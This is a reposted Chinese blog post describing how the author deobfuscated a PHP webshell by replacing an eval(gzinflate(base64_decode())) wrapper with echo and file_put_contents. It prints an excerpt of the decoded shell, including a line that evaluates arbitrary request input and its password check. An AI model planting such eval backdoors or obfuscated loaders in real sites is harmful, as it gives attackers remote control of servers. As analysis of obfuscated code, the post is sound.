码迷,mamicode.com
首页 > Web开发 > 详细

记一次php webshell破解的经历

时间:2015-01-29 09:34:37      阅读:806      评论:0      收藏:0      [点我收藏+]

标签:php   破解   webshell   crack   base64   

由于学习需要最近注册了一个国外的php空间 鉴于自带php管理系统体验太差 想找一个靠谱的webshell来代替 经过几分钟的搜索 终于在网上找到了一个界面和功能都很不错的php webshell

如图:技术分享

当我想再加上自己diy的几个功能时 打开代码一看:

技术分享

竟然是乱码! 于是。。心中闪过了一些邪恶的想法。。破解它!

首先 我注意到了base64_encode这个函数,于是 写了一个<?php echo base64_decode($str)?>来讲代码显示出来 结果出现了下面的一幕:

技术分享

我尼玛 比刚才还乱。

又回头仔细看了看代码 发现主要解释加密的代码部分是这样写的:

e'.'va'.'l(gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'7L35dxzXfSf6......
加密部分采用了base64编码 但是我忽略了gzinflat()函数!代码是先将加密部分解码 然后再解压缩来执行的!

将eval改成echo 果然:技术分享

由于php在输出网页时还会自己添加一些标签影响到代码的提取 因此我将echo改为了file_put_contents()

file_put_contents("shell.php",gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'
大功告成!

ob_start();
define('myaddress',$_SERVER['SCRIPT_FILENAME']);
define('envlpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
	foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
	foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[envlpass])){
hmlogin(2);
@eval($_REQUEST[envlpass]);
exit;}
if($_COOKIE['envlpass'] != md5(envlpass)){
	if($_POST['envlpass']){
		if($_POST['envlpass'] == envlpass){
			setcookie('envlpass',md5($_POST['envlpass']));
			hmlogin();
		}else{
			echo '<CENTER>用户或密码错误</CENTER>';
		}
	}
	islogin($shellname,$myurl);
	exit;
}
/*---End Login---*/
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
	$dir = do_show($_GET['pack']);
	$zip = new eanver($dir);
	$out = $zip->out;
	do_download($out,"eanver.tar.gz");................

总结:①虽然这次只是个简单的函数替换破解 但是恭喜自己走出了重要的一步

            ②这次破解充分证明了php代码的不易加密是一个很大的弊端 它造就了php程序的开放,也造成了众多的侵权问题。

            ③不得不承认 作者对php了解的很透彻 代码写得特别棒 有很多很多值得我学习的地方

            ④实践比理论重要的多。


记一次php webshell破解的经历

标签:php   破解   webshell   crack   base64   

原文地址:http://blog.csdn.net/qq754406613/article/details/43239977

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!